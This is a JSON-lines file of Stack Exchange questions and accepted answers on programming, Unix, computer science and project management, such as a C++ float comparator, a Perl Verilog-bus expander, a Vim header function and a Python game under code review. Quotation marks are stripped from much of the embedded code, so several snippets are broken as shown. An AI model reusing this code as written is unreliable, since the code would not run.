{  "id": "_codereview.134858"  , "question": "What do you think about this implementation of 2 floats comparison functor considering how tolerance is introduced? class Less{private:    float m_tolerance;public:    Less(const float tolerance)        : m_tolerance(tolerance)    {    }    bool operator()(const float f1, const float f2) const    {        const bool toCloseToCompareSmaller = (std::abs(f2 - f1) < m_tolerance);        const bool isSmaller = (f1 < f2);        return !toCloseToCompareSmaller && isSmaller;    }    ~Less()    {    }};"  , "title": "Functor to compare two floats with tolerance"  , "tags": "c++;c++11;floating point;overloading"  , "accepted_answer": "A few remarks:Seems appropriate to add a default value of 0.0f in the constructor:Less(const float tolerance = 0.0f)    : m_tolerance(tolerance){}This class could most certainly be used as a base class.For example:class Less1 : public Less{public:    Less1():Less(1.0f)    {        ...    }    ...}So you may as well make it suitable to serve as such:Declare virtual ~Less()Change private to protected where neededThe operation f1 < f2 is most likely less expensive than abs(f2 - f1).So you may as well check it first:bool operator()(const float f1, const float f2) const{    return f1 < f2 && std::abs(f2 - f1) >= m_tolerance;}You should add an assertion on the value of m_tolerance being non-negative.Alternatively, you could use std::abs(m_tolerance), but it seems a bit hacky."  } 
{  "id": "_webapps.33327"  , "question": "I'm trying to delete an active domain from a Google Apps account so that I can create a new Apps account with that domain (long story, I was using one Apps account as a stand-in while waiting for an organization to get its act together).  I keep getting an error telling me that I have e-mails or aliases still on that domain. But I've checked. I have renamed all e-mails that were created with it and deleted the aliases.  I've checked them each individually, twice. Is there any way to display e-mails by their aliases? Or something else that could be could be preventing me from deleting the domain?"  , "title": "How to delete an active domain from a Google Apps account?"  , "tags": "google apps"  } 
{  "id": "_unix.293703"  , "question": "I want to convert a particular Verilog Bus into individual split form using sed or awk command.Inputmodule test ( temp_bus[3:0], temp_B[1:0] )    input [3:0] temp_bus;    output [1:0] temp_B;endmoduleOutputmodule test ( temp_bus[3], temp_bus[2], temp_bus[1], temp_bus[0], temp_B[1], temp_B[0])   input temp_bus[3], temp_bus[2], temp_bus[1], temp_bus[0];   output temp_B[1], temp_B[0];endmoduleEdit1: Case with multiple declarationmodule test ( temp_bus[3:0], temp_B[1:0] , temp_C[1:0] )    input [3:0] temp_bus;    output [1:0] temp_B , temp_c;endmoduleResultant must have output temp_B[1], temp_B[0], temp_C[1], temp_C[0] ;cas has almost done given the best solution."  , "title": "sed to split verilog bus into individual port"  , "tags": "text processing;awk;sed"  , "accepted_answer": "Here's one way to do it in perl:(revised version will handle both of your sample inputs.  It also looks like a semi-colon inside [] doesn't confuse the markdown syntax highlighting)#! /usr/bin/perluse strict;sub expand {  my ($name,$start,$stop) = @_;  my $step = ( $start < $stop ? 1 : -1);  my @names=();  my $i = $start;  while ($i ne $stop + $step) {    push @names, $name\\[$i\\];    $i += $step;  }  return @names;};while(<>) {  chomp;  s/([(),;])/ $1/g;   # add a space before any commas, semi-colons, and                      #  parentheses, so they get split into separate fields.  my @l=();           # array to hold the output line as it's being built  my @line = split ;  # split input line into fields, with 1-or-more                      # whitespace characters (spaces or tabs) between each                      # field.  my $f=0;            # field counter  while ($f < @line) {    if ( $line[$f] =~ m/module/io ) {        push @l,$line[$f++];        while ($f < @line) {            if ( $line[$f] =~ m/^(.*)\\[(\\d+):(\\d+)\\]$/o ) {                # expand [n:n] on module line                push @l, join(, ,expand($1,$2,$3));            } else {                 push @l, $line[$f]            };            $f++;        };    } elsif ($line[$f] =~ m/^(?:input|output)$/io) {        # use sprintf() to indent first field to 10 chars wide.        $line[$f] = sprintf(%10s,$line[$f]);        push @l, $line[$f++];;        my @exp = ();        while ($f < @line) {            if ( $line[$f] =~ m/^\\[(\\d+):(\\d+)\\]$/o ) {                # extract and store [n:n] on input or output lines                @exp=($1,$2);            } elsif ( $line[$f] =~ m/^\\w+$/io) {                # expand word with [n:n] on input or output lines                push @l,join(, ,expand($line[$f],@exp));            } else {                push @l, $line[$f];            };            $f++;        };    } else {      # just append everything else to the output @l array      push @l, $line[$f];    };    $f++;  }  print join( ,@l),\\n;}Output:$ ./jigar.pl ./jigar.txt module test ( temp_bus[3], temp_bus[2], temp_bus[1], temp_bus[0] , temp_B[1], temp_B[0] )      input temp_bus[3], temp_bus[2], temp_bus[1], temp_bus[0] ;     output temp_B[1], temp_B[0] ; endmodule Output from your second sample:$ ./jigar2.pl jigar2.txt module test ( temp_bus[3], temp_bus[2], temp_bus[1], temp_bus[0] , temp_B[1], temp_B[0] , temp_C[1], temp_C[0] )     input temp_bus[3], temp_bus[2], temp_bus[1], temp_bus[0] ;    output temp_B[1], temp_B[0] , temp_c[1], temp_c[0] ;endmodule"  } 
{  "id": "_vi.10832"  , "question": "I have this in my .vimrcfunction HeaderTpl(fchar, boxchar, width)    let sfile = expand(%:p)    return a:fchar .   . repeat(a:boxchar, a:width) . \\n            \\ . a:fchar .   . sfile . \\n            \\ . a:fchar . \\n            \\ . a:fchar .   . strftime(%FT%T %z) . \\n            \\ . a:fchar .   . repeat(a:boxchar, a:width) . \\nendfunctionimap <silent>  ###  <C-R>=HeaderTpl('#', '-', 71)<CR>imap <silent>  ///  <C-R>=HeaderTpl('//', '-', 70)<CR>This works almost perfectly as if I type ### in blank file I get this header# -----------------------------------------------------------------------# /path/to/current/file.conf## 2017-01-03T20:02:50 +0100# -----------------------------------------------------------------------but if the file type is defined (something like vim python_script.py) then I get something like this:# -----------------------------------------------------------------------# # /path/to/current/file.conf# ## # 2017-01-03T20:02:50 +0100# # -----------------------------------------------------------------------#I think that additional # is caused by the autoindent or smartindent. My question: how do I prevent this additional # to be inserted? One of my ideas was to temporary switch off autoindent and smartindent but how to do it?$ vim --versionVIM - Vi IMproved 7.4 (2013 Aug 10, compiled Nov 24 2016 16:44:48)Included patches: 1-1689Extra patches: 8.0.0056"  , "title": "How can I insert text from a function without triggering autoinsertion of comments?"  , "tags": "vimscript"  } 
{  "id": "_cs.55909"  , "question": "We know that for problems in NP if the problem is an yes version then there is a short certificate and for coNP if the problem is a no version then there is a short certificate.Is there a short certficate analogy for higher levels in Polynomial Hierarchy?"  , "title": "Short certificate analogy of PH?"  , "tags": "complexity theory;complexity classes"  , "accepted_answer": "The correct analogy for higher levels of the polynomial hierarchy is that of a game between two players, the $\\exists$ player and the $\\forall$ player. The $\\exists$ player wants to prove that the input is in the language, and the $\\forall$ player wants to disprove it.For a language $L \\in \\Sigma_k^P$, the game is as follows. On input $x$, the $\\exists$ and $\\forall$ players alternate in presenting strings $y_1,y_2,\\ldots,y_k$ (the $\\exists$ player starts). After $k$ rounds, the referee runs a polynomial time procedure $f$ (set in advance) on $x,y_1,\\ldots,y_k$, and declares $\\exists$ to be the winner if $f$ returns YES, and $\\forall$ to be the winner if $f$ returns NO. Since $L \\in \\Sigma_k^P$, when $x \\in L$, $\\exists$ has a winning strategy, and when $x \\notin L$, $\\forall$ has a winning strategy.For a language $L \\in \\Pi_k^P$, the only difference is that $\\forall$ starts.When $k = 1$, there is no communication, and so we can talk in terms of witnesses. For larger $k$, we can still use the witness terminology, but with different semantics. Consider again $\\Sigma_k^P$, for $k = 2r$ or $k = 2r+1$. The witness of $\\exists$ consists of $r$ functions $Y_1,Y_2,\\ldots,Y_r$ which are used to generate the strings produced by $\\exists$ as follows: $y_1 = Y_1(x)$; $y_3 = Y_2(x,y_1,y_2)$ (or $y_3 = Y_2(x,y_2)$, since $y_1$ is known); and so on. You can think of these functions as implicit witnesses, since $\\exists$ doesn't reveal the entire functions $Y_2,\\ldots,Y_r$, but only the relevant values.For $x \\in L$, the property that these witnesses satisfy is that for any reply by the $\\forall$ player, the referee declares $\\exists$ to be the winner. For $x \\notin L$, the $\\forall$ player has a similar kind of witness. Thus witness here is really the same as a winning strategy."  } 
{  "id": "_webapps.108998"  , "question": "I just clicked on Confirm button in Requests feature and got following messages:Facebook is for connecting and sharing with your real life friends. If you are sending friend requests to people you don't know, you may be disabled.also tried clicking accept on this page:https://www.facebook.com/friends/requestsand got this error message:You are sending friend requests that may be considered abusive.Why did I get this error on accepting friend requests? I didn't send any requests and I accepted 1,500-2,000 requests on the same day, after which error message appeared. I can still send requests and delete requests but I can't accept requests. Total number of friends in friends list is currently about 2,002."  , "title": "How to accept unlimited Facebook friend requests up to the max limit?"  , "tags": "facebook;facebook friend request"  } 
{  "id": "_cogsci.1398"  , "question": "To what extent does cooperative versus competitive learning influence personality development or even pathological behaviors?If these activities need to be narrowed down to a specific category, I'm more interested in gaming patterns or gamified activities used in education. Still, I would prefer a broad answer if there was one. Still, ideally, these would include sports, games of any type, common activities and everything which can be compared from the cooperative vs. competitive point of view.So far, my searches are only returning results that focus on the effectiveness of such learning strategies, but not on the imprinting effect that it may have on the individual, specially if short-lived.If particular research or studies cannot be founds, I can settle for an answer explaining hypothesis on how these would work towards building personality and behaviors.The question arises from trying to draw a parallel with AI and general game playing, where cooperative/competitive behaviors can be trained through heuristics. These heuristics and the balance between cooperation/competitiveness (for mixed activities) usually display a personality, a strategy that depends on the coder or designer, unless the algorithm is self-taught. At that point, I would like to see if the behaviors seen by the self-taught algorithms can parallel in any way those nuances by human strategies, but I don't know how those are to be expected in humans at all - hence the question."  , "title": "How do cooperative vs. competitive activities impact the learning patterns of an individual?"  , "tags": "social psychology;learning;gamification;game theory"  } 
{  "id": "_codereview.158371"  , "question": "I have decided to create a discount Pokemon battle simulator using a module called guizero. It's basically a wrapper for Tkinter that is easier to learn. Recently, I started to learn OOP and thought that this project would be a good practice for my new-found skills. Someone in my computing group looked at my code and told me it was terrible so I thought I'd get someone else's opinion.EditI just want to point out that I've been trained to comment everything I code to a standard the a beginner could understand it.This is the code (you will have to download guizero to make it work):# Import guizero for the GUI and randomimport guizero as guiimport random# Create an empty list for the Animalsactives = []# Create an immutable list (tuple) for default animalsDEFAULT_ATTRS = (('Cow',     100,  10,  15,   4),                 ('Chicken',  40,  50,  40,   5),                 ('Duck',     45,  35,  70,   2))# Create a function that checks if all values in a list are equaldef all_equal(iterable):    for i in range(len(iterable)):        if iterable[i-1] != iterable[i]:            return False    return True# Create an Animal class for the animalsclass Animal:    # Create an immutable value so that another values can't change the string    # Make a string that can be formated and evaluated    POWERSUM = 'int((({1}+{2})*{3})/{0})'    def __init__(self,name=None,strength=None,speed=None,skill=None,age=None):        assign = all_equal([name,strength,speed,skill,age]) and name == None        self.assigned = not assign        if assign:            return None        self.optimum = 50        self.name = name.title()        attr = [strength,speed,skill]        while sum(attr) > random.randint(180,220):            # If the sum is greater than 220 (or less)            # Change the max and the min values            attr[attr.index(max(attr))] -= random.randint(1,9)            attr[attr.index(min(attr))] += random.randint(1,5)        self.strength, self.speed, self.skill = attr        self.fitness = 100        self.attr = attr[:]        self.active = True        # Create a list with the values [number of battles, battles lost]        self.battles = [0,0]        self.age = age        self.power = 0    def __repr__(self):        # Create the display string        # Name. Stats: Strength, Spped, Skill and Age        attr = self.attr[:]+[self.age]        return '{}. Statistics: {},{},{} and {}'.format(self.name,*attr)    def returnPower(self):        # Get the power. The optimum age is 50        # Effectively create a parabola effect on the age        if self.age > 50:            age = self.optimum / (101-self.age)        else:            age = self.optimum / self.age        self.power = eval(self.POWERSUM.format(age,*self.attr))        return self.power# Add the three default valuesfor attr in DEFAULT_ATTRS:    actives.append(Animal(*attr))class BattleWindow(gui.App):    # Create a class that creates a GUI,    # avoiding the need for global variables; they're all attributes    def __init__(self,*animals):        super().__init__(title='Animals Battles',layout='grid')        # Create the function so that if the window is closed,        # it automatically opens the menu window        self.on_close(self.cancel)        texts = [[],[]]        for i,person in enumerate(['Animal Selected','Opponent']):            texts[i].append(person)            for cate in ['Strength','Skill','Speed','Age','Fitness','Power']:                texts[i].append(cate)        buttons = ((self.power,      'Power' ,[0,0]),                   (self.opponent,'Opponent' ,[1,0]),                   (self.battle,    'Battle' ,[2,0]),                   (self.firstaid,'First aid',[3,0]))        for func,text,grid_xy in buttons:            self.aidbtn = gui.PushButton(self,func,text=text,grid=grid_xy)        self.animals = list(animals)        # Create 2 'empty' animals that can't do anything        # just in case the user tries to do something        self.chosen = Animal()        self.opponent = Animal()        self.displays = [[],[]]        self.options = ['None']        for animal in animals:            self.options.append(animal.name)        # Create a Combo to choose the animal        self.combo = gui.Combo(self,self.options,command=self.disp,grid=[0,2])        for i,text in enumerate(texts):            for x,tx in enumerate(text):                pos = [[x],[x]]                if i%2 == 0:                    pos[0].append(1)                    pos[1].append(2)                else:                    pos[0].append(3)                    pos[1].append(4)                gui.Text(self,text=tx+': ',grid=pos[0],align='left')                if tx != 'Animal Selected':                    self.displays[i].append(gui.Text(self,grid=pos[1]))        # Display the GUI so that everything shows up        self.display()    def battle(self):        fitness = 'fitness'        if not (hasattr(self.chosen,fitness) or hasattr(self.opponent,fitness)):            gui.warn('No opponent!','You need an opponent!')            return        # Decrease the fitnesses of the animals by 75% of the value        self.opponent.fitness *= 0.75        self.chosen.fitness *= 0.75        # Add 1 to the number of battles        self.chosen.battles[0] += 1        self.opponent.battles[0] += 1        # If power has not yet been calculated,        # return so that the battle never happens        if self.displays[0][-1].get() == 'N/A':            return        if self.opponent.power > self.chosen.power:            winner = self.opponent            self.chosen.fitness *= 0.75            self.chosen.battles[1] += 1        else:            winner = self.chosen            self.opponent.fitness *= 0.75            self.chosen.battles[1] += 1        gui.info('The winner is...','The Winner is ... {}'.format(winner.name))        # Set the fitness display to the fitness to 2d.p.        self.displays[0][-2].set(round(self.chosen.fitness,2))        self.displays[1][-2].set(round(self.opponent.fitness,2))        # Check if either fitness is less than 1 as        # 0 can never be reached        if self.opponent.fitness < 1 or self.chosen.fitness < 1:            if self.opponent.fitness < 1:                self.opponent.active = False                name = self.chosen.name                popname = self.opponent.name                x = 1            if self.chosen.fitness < 1:                self.chosen.active = False                name = 'None'                popname = self.chosen.name                x = 0            # Clear the displays if the fitnesses are less than 1            for disp in self.displays[x]:                disp.clear()            # Remove the name from the dropdown options            # then destroy the combo and create a new one            # The new combo is then set to either the current            # animal or None if the user animal faints            self.options.remove(popname)            self.combo.destroy()            self.combo = gui.Combo(self,self.options,grid=[0,2])            self.combo.set(name)            # Get rid of the Animal object from the animals so that            # the random opponent can't be one of the fainted ones            actives.pop([i.name for i in actives].index(popname))    def cancel(self):        # Go back to the menu system        self.destroy()        Menu()    def disp(self,_):        # If the combo is None, set the displays to N/A        if self.combo.get() == 'None':            for disp in self.displays[0]:                disp.set('N/A')        self.chosen = self.animals[self.options.index(self.combo.get())-1]        # Create a copy of the attr attribute of self.chosen.attr        # Next add the age and the fitness to the list        attrs = self.chosen.attr[:]        attrs.append(self.chosen.age)        attrs.append(self.chosen.fitness)        # Next change the displays to the        # appropriate values        for i in range(len(attrs)):            self.displays[0][i].set(attrs[i])        # Finally set the 'Power' display to N/A        self.displays[0][-1].set('N/A')    def firstaid(self):        # Create a function that allows self.chosen to get more fitness        if self.chosen.battles[0] == 0:            return        # Check if the battle win percentage is high enough to get first aid        if 100 * (self.chosen.battles[1] / self.chosen.battles[0]) > 60:            if self.chosen.fitness > 50:                amount = 100 - self.chosen.fitness            else:                amount = 50            self.chosen.fitness += amount            self.displays[0][-2].set(round(self.chosen.fitness,2))            # Make the button disabled so that it can't be pressed again            self.aidbtn.config(state=gui.DISABLED)        else:            gui.warn('Too many losses','You haven\\'t won enough battles!')    def opponent(self):        # Randomly choose an enemy. While that enemy        # is the same as the 'chosen', choose again        value = random.choice(actives)        while value == self.chosen:            value = random.choice(actives)        self.opponent = value        # Create a copy of the opponent attrs        # Then add the age, fitness and name        attrs = self.opponent.attr[:]        attrs.append(self.opponent.age)        attrs.append(self.opponent.fitness)        attrs.insert(0,self.opponent.name)        # Add the displays for the opponent        for i in range(len(attrs)):            self.displays[1][i].set(attrs[i])        self.displays[1][-1].set('N/A')    def power(self):        # Set the text to the power. Doesn't need        # the value to be assigned; happens in the returnPower() function        if self.chosen.assigned:            self.displays[0][-1].set(self.chosen.returnPower())        if self.opponent.assigned:            self.displays[1][-1].set(self.opponent.returnPower())# Create the default window that creates# a menu systemclass Menu(gui.App):    def __init__(self):        super().__init__(title='Menu System',layout='grid',height=300)        gui.Text(self,text='Please choose an option',grid=[0,0])        # Create a 2d tuple containing the infos        options = (('Add new animal',self.addNew,[1,0]),                   ('Battle!!!',self.battle,[2,0]),                   ('Delete animal',self.delete,[3,0]))        # Create a list containing the names of the        # animals for leter        self.names = [i.name for i in actives]        # Create the buttons for the options        for text,func,grid_xy in options:            gui.PushButton(self,func,text=text,grid=grid_xy)        # Display all the widgets from the GUI        self.display()    def clear(self):        # Clear the texts used        for text in self.text:            text.destroy()        # Clear the entries used        for ent in self.entries:            ent.destroy()        # Clear and delete the 2 buttons        self.btn.destroy()        self.cancel.destroy()        del self.btn,self.cancel    def addAnimal(self):        # Create a list of the gotten values        self.got = []        for i in range(len(self.entries)):            self.got.append(self.entries[i].get())        if self.got[0] == '':            gui.error('Name','Please provide a name')            return        # Add the animal to the actives values        actives.append(Animal(*self.got))        gui.info('Animal Added','{} added!'.format(self.got[0]))        # Clear the widgets        self.clear()    def addNew(self):        # Create a tuple containg the Text widget information        texts = (('strength',[1,2],[1,1]),                 ('speed',   [2,2],[2,1]),                 ('skill',   [3,2],[3,1]),                 ('age',     [4,2],[4,1]))        entries = []        text = []        text.append(gui.Text(self,text='Enter animal name: ',grid=[0,1]))        entries.append(gui.TextBox(self,grid=[0,2],width=25))        # Create the Text widgets and the Slider widgets        for t,sc,tc in texts:            text.append(gui.Text(self,text='Enter animal '+t+': ',grid=tc))            entries.append(gui.Slider(self,start=1,end=100,grid=sc))        # Create copies of the entries and text lists        self.entries = entries[:]        self.text = text[:]        # Create the 2 buttons for submitting and cancelling        self.btn = gui.PushButton(self,self.addAnimal,text='Submit',grid=[6,1])        self.cancel = gui.PushButton(self,self.clear,text='Cancel',grid=[6,2])    def battle(self):        # Destroy menu window and open BattleWindow        self.destroy()        BattleWindow(*actives)    def deleteOne(self):        # If the combo for deletion does not equal None        # pop the name from actives and give a info window        if self.todelete.get() != 'None':            index = self.names.index(self.todelete.get())            delete = actives.pop(index).name            gui.info('Deleted','{} has been deleted!'.format(delete))            self.names.pop(index)        # Destroy the button and Combo        self.todelete.destroy()        self.bn.destroy()    def delete(self):        # Create a combo for the animal and a 'delete' button        self.todelete = gui.Combo(self,['None']+self.names,grid=[0,1])        self.bn = gui.PushButton(self,self.deleteOne,text='Delete',grid=[1,1])# Initialize the menu window to start  Menu()"  , "title": "Discount Pokemon Battles"  , "tags": "python;beginner;python 3.x;battle simulation;pokemon"  , "accepted_answer": "# Import guizero for the GUI and randomimport guizero as guiimport randomThis, like many of your comments, is exactly the kind of comment you should never write. It just says what the code does. We can see what the code does. Use comments, where absolutely necessary, to explain why it does it. You've added that I've been trained to comment everything I code to a standard the   a beginner could understand itbut I don't think commenting everything helps in that respect, compared to well-written code with sensible variable names and good docstrings that will appear in the help. Also you should group imports, standard library first, per the style guide. import randomimport guizero as gui# Create an immutable list (tuple) for default animalsDEFAULT_ATTRS = (('Cow',     100,  10,  15,   4),                 ('Chicken',  40,  50,  40,   5),                 ('Duck',     45,  35,  70,   2))A minor thing, but a tuple is not just an immutable list; see e.g. What's the difference between lists and tuples? Also, I wouldn't align values like that; use a single space after each comma, otherwise if you add another item with a longer name or value you have to realign everything. # Create a function that checks if all values in a list are equaldef all_equal(iterable):This comment is redundant again and, worse, inconsistent with the code. Evidently you've realised that this functionality works fine with non-list iterables and renamed the argument, but you haven't updated the comment. Also when you're describing modules, classes and functions you should do so with docstrings, not just comments:def all_equal(iterable):    Whether all of the values in the iterable are equal.This makes them useful to IDEs, documentation generators, etc. assign = all_equal([name,strength,speed,skill,age]) and name == Noneself.assigned = not assignif assign:    return NoneThis is bad; sorry, no two ways about it. If this is intended as validation of the inputs, so at least one of the values must be provided, it should look something like:if all(item is None for item in [name,strength,speed,skill,age]):    raise ValueError('at least one of the inputs must be provided')You could use any instead of all to mean all of the inputs must be provided, but in that case why provide default parameter values at all? Note the comparison of None by identity (is) not equality (==); it's a singleton. Your initialisation in general seems too long and complex. Specifically, I would extract this:attr = [strength,speed,skill]while sum(attr) > random.randint(180,220):    # If the sum is greater than 220 (or less)    # Change the max and the min values    attr[attr.index(max(attr))] -= random.randint(1,9)    attr[attr.index(min(attr))] += random.randint(1,5)self.strength, self.speed, self.skill = attrTo be:self.strength, self.speed, self.skill = self._adjust_attr_values(strength, speed, skill)Again, this method would have a docstring explaining why this is necessary. I wouldn't store self.attr; that duplicates existing information, and risks updating one but not the other. If it's really needed, it should be a calculated and ideally read-only property:@propertydef attr(self):    return [self.strength, self.speed, self.skill]# Create a list with the values [number of battles, battles lost]self.battles = [0,0]One problem with this is that the list doesn't actually keep that content with it. You will find yourself writing battles, lost = thing.battles, even when you only want one of them, and then you mix up the order one time and you've got a really tricky bug to track down. Why not have two attributes?self.battles_won = 0self.battles_lost = 0 You could add another property for the total. Or create a new object entirely to just hold wins and losses with the total, but that's probably overkill. In general also I would first assign all of the parameters, then do all of the initialisation from fixed values. This means that the reader can get the context of the parameters out of their head as early as possible. def __repr__(self):    # Create the display string    # Name. Stats: Strength, Spped, Skill and Age    attr = self.attr[:]+[self.age]    return '{}. Statistics: {},{},{} and {}'.format(self.name,*attr)Per the data model, __repr__ should:...look like a valid Python expression that could be used to recreate  an object with the same value (given an appropriate environment). If  this is not possible, a string of the form <...some useful  description...> should be returned.Your method does neither, so should be called __str__. def returnPower(self):    # Get the power. The optimum age is 50    # Effectively create a parabola effect on the age    if self.age > 50:        age = self.optimum / (101-self.age)    else:        age = self.optimum / self.age    self.power = eval(self.POWERSUM.format(age,*self.attr))    return self.powerBased on all of the above:@propertydef power(self):    Calculate the power. The optimum age is 50.    age = 50 / ((101 - self.age) if self.age > 50 else self.age)    return int(((self.strength + self.speed) * self.skill) / age)This is far less cryptic than your formulation; I'm not sure what risk you were trying to mitigate with the POWERSUM, and if all animals have the same optimum why make it an instance attribute?# Create an empty list for the Animalsactives = []# Create an immutable list (tuple) for default animalsDEFAULT_ATTRS = (('Cow',     100,  10,  15,   4),                 ('Chicken',  40,  50,  40,   5),                 ('Duck',     45,  35,  70,   2))...# Add the three default valuesfor attr in DEFAULT_ATTRS:    actives.append(Animal(*attr))This all seems a bit odd looking back. Why not define the class then just do:actives = [    Animal('Cow', 100, 10, 15, 4),    Animal('Chicken', 40, 50, 40, 5),    Animal('Duck', 45, 35, 70, 2),]"  } 
{  "id": "_unix.345528"  , "question": "I read the man pages on both, and they seems to be interchangeable and to be doing the same job.So can someone explain when I should use partx, and when kpartx ?"  , "title": "What's the difference between partx and kpartx?"  , "tags": "linux"  } 
{  "id": "_unix.232828"  , "question": "My router currently provides the NAT to all the PCs and the Ubuntu desktop (with some server functions) in the network. I want to use the Ubuntu system as a proper firewall, but it only has one Ethernet interface. As such, I envision the following to get it running:      Ubuntu/firewall     router/WAN          DHCPIP    192.168.1.1         192.168.1.10        192.168.1.*GW    192.168.1.10        WAN IP              192.168.1.1Can I expect everything to work fine if I statically configure my Ubuntu system and router as I described?Will it be fine to use the single physical interface to handle INPUT and FORWARD? Do I need to do things like create virtual interfaces?"  , "title": "Route incoming and outgoing on same interface"  , "tags": "firewall;networkmanager;network interface"  , "accepted_answer": "I've accomplished what I've described in the question. Here's the Ubuntu configuration that allowed me to do so:$ sudoedit /etc/network/interfacesauto eth0iface eth0 inet static        address 192.168.0.10        netmask 255.255.255.0        gateway 192.168.0.1(Actually br0 in my files, from bridging VM to physical LAN, but I've replaced them with more generic eth0)$ sudoedit /etc/sysctl.conf# Uncomment the next line to enable packet forwarding for IPv4net.ipv4.ip_forward=1Basically, sysctl.conf's packet forwarding configuration is what, I believe, allowed my setup to work.I've confirmed that the setup indeed worked by seeing traceroutes going through 192.168.0.10 before 192.168.0.1 and the firewall rules configured on Ubuntu actually filtered the traffic as intended."  } 
{  "id": "_cs.80083"  , "question": "There is a non-regular language that exists the pumping lemma for regular language?I didn't find one.Edit: From what i understood the pumping lemma does not prove that it is a regular language becuse there are non regular languages that support the pumping lemma.Thanks."  , "title": "Non-regular language and pumping lemma"  , "tags": "regular languages;pumping lemma"  } 
{  "id": "_unix.89767"  , "question": "I am looking or zsh functionality to expand disk-labels into mountpoins:Example: I have disk  with label DISK-LABEL1 mounted on /run/media/god/DISK-LABEL1.Is there a plugin which expands input Like:  cat //DISK-LA<Tab> to the cat /run/media/god/DISK-LABEL1?// was chosen as an example to trigger that type of autocompletion..."  , "title": "Zsh completion for mounts (/run/media/DISK-LABEL)?"  , "tags": "mount;zsh;autocomplete"  } 
{  "id": "_codereview.121959"  , "question": "I would like to create a regex that will validate that a string is an equation made up of a single digits and either the * or + operator and is no longer than 100 characters.  So these would be valid:1+2*3*8+099*9And these would not be valid:1++112+12*251+47++111I came up with the regex below to accomplish this:^(\\d{1}[\\+\\*]{1}){0,99}\\d$Which appears to work, but I'm curious if there is a cleaner way to accomplish this.  Any suggestions or is this about as clean as it gets?It is saved here if you would like to play with it."  , "title": "Regex for matching expression that consists of single digit numbers and operators"  , "tags": "python;regex"  , "accepted_answer": "While your regex appears to work, it will fail for the condition that your expression should not exceed 100 characters mark. With the boundary of {0,99} on a 2 character pattern \\d{1}[\\*\\+]{1}, you are already expecting a possible expression of length 198 characters.Using {1} quantifier is just redundant.No need for escaping inside a character set. The only things needing a leading backslash (\\) inside a characters list are ] and ^, where the caret is the only character inside, or the first.Your expressions will not reach a 100 character mark, unless you allow the + to act as an unary operator.Therefore, the following pattern will be the simplest approach (imo)^(?:\\d[*+]){0,49}\\d$which is the tiniest bit modified from your original expression.You can check the pattern in action here on the following expressions:1+2*3*8+099*91*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+5*81++112+12*251+47++1111*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+1*2+5*8+9"  } 
{  "id": "_softwareengineering.322820"  , "question": "In many of my personal and professional projects inevitably comes the moment where we have to weight pros and cons of integrating third parties versus developping a home solution. I've always been a fervent user of open source resources and faced programmers I respect who were following other path. The arguments are complex and I often get lost in what are pros and cons of using third parties in general.As an example one of the project I work for implements a message broker with a custom protocol. I am fairly sure it could have been implemented by using a 3rd party message AMQP broker. It would reduce the code base, and, although I can't be sure yet, may enhance overall performance and stability.I'm still new to the project and probably missing something, but isn't this a case of reinventing the wheel, or is there pitfalls in using 3rd parties I am not aware of ? I am looking if there is a general guideline for borderline cases where both options (using a 3rd party or developing in-house) are realistic."  , "title": "Are there pitfalls to consider when integrating with third parties?"  , "tags": "open source;third party libraries"  } 
{  "id": "_reverseengineering.11175"  , "question": "I have read that HBGary's FastDump Pro (FDPro) can capture kernel dumps and include the page file contents.Although I'm not sure if the tool is still available commercially (it's not listed on the countertack.com webpage), I'd like to know whether the file format created by FastDump Pro is compatible with WinDbg or if I need other tools to analyze it (HBGary/Countertack tools).If they are compatible, I see some benefit in having the page file contents included in the dump, since that would e.g. give the possibility of debugging a .NET application from a kernel dump, which is usually not possible since parts of the of the virtual memory have been paged out."  , "title": "Are HBGary FastDump Pro dumps compatible with WinDbg?"  , "tags": "debugging;windbg;dumping"  } 
{  "id": "_softwareengineering.111920"  , "question": "Consider the formal definition: f(n) = O(g(n))Why is it not: f(n) = O(f(n))   or   f(n) = O(c*f(n))since for the Big O analysis, f(n)=2n and g(n)=n are identical?  I am confused by the function f(n) using another function.UpdateWhy isn' t the definition as follows:  f(n) <= c*abs(g(n))What does the formal O(g(x)) add to the definition? It seems like it overcomplicates things."  , "title": "Why is the formal definition of Big O notation formulated as such?"  , "tags": "algorithms;computer science;complexity;big o"  , "accepted_answer": "This is an extremely weird definition and is actually new to me. The symbols, as defined by Bachmann and Landau, are not defined like that.Unfortunately, the German wikipedia is the only source, I can find exactly this, as of now, but I suppose you can see without much translation, that  is defined as .(Please note: the french wikipedia has the following similar definition , which I suppose basically states the same, although I think it is incorrect, given that f(n) is something completely different than f).As I explained in response to a different question, O means the order of, and thus O(g) is actually the set of all functions, that have the same order as g. It makes only sense to say:f is the same order as g (or more explicitely: the order of f is the order of g), which is O(f) = O(g)f is in the order of g, which translates to f ∈ O(g)So for the sake of nitpicking (which is the fun part in formalization), one can say the definition you criticize is indeed wrong."  } 
{  "id": "_softwareengineering.255110"  , "question": "We started following the Agile Scrum methodology and we have completed about 10 sprints.One observation I had is that not all in the team are taking up the responsibilities of completing the tasks and user stories by themselves and everytime they have to be instructed or allotted with some tasks. Also the estimate they are giving are not very agile.There is always a need for someone to look after all the user stories, their completion status, tasks that are yet to be done etc and allot them to team members who are not occupied.I also feel that we would be able to deliver faster if we had one person who would create tasks and assign them to people along with deadlines to complete them (project manager role).And this is what I feel is missing in Agile Scrum. Given that the team is not taking up tasks and not risking to take up tight estimates, what are the alternates that we can look for? Or, are there any provisions in Agile Scrum to fasten things?"  , "title": "Alternatives for Agile Scrum"  , "tags": "project management;agile;scrum;team"  , "accepted_answer": "If you only looked at agile because you were expecting an increased productivity be aware that agile (/scrum) is not a silver bullet. Yes, self empowered teams can become more productive, but they need help.So get a coach. Agile is like playing chess. It takes 30 minutes to explain the rules and after that you can start playing. But it takes years to reach a reasonable level as a chess player."  } 
{  "id": "_cs.46899"  , "question": "I have a pretty good handle on what recursive and recursively enume table languages mean with respect to Turing machines and how they relate to one another through my algorithms class. What I don't understand is how these languages relate to the computability of problems, and whether these languages correlate to problems or something else. I'm missing the bridge between the theory and the practical application of theory so abstract, could somebody bridge the gap?In particular, what does the recursive nature of a language tell us about the problem being considered? Recursive nature being recursive or r.e."  , "title": "Between languages and problems"  , "tags": "formal languages;turing machines;recursion theory"  } 
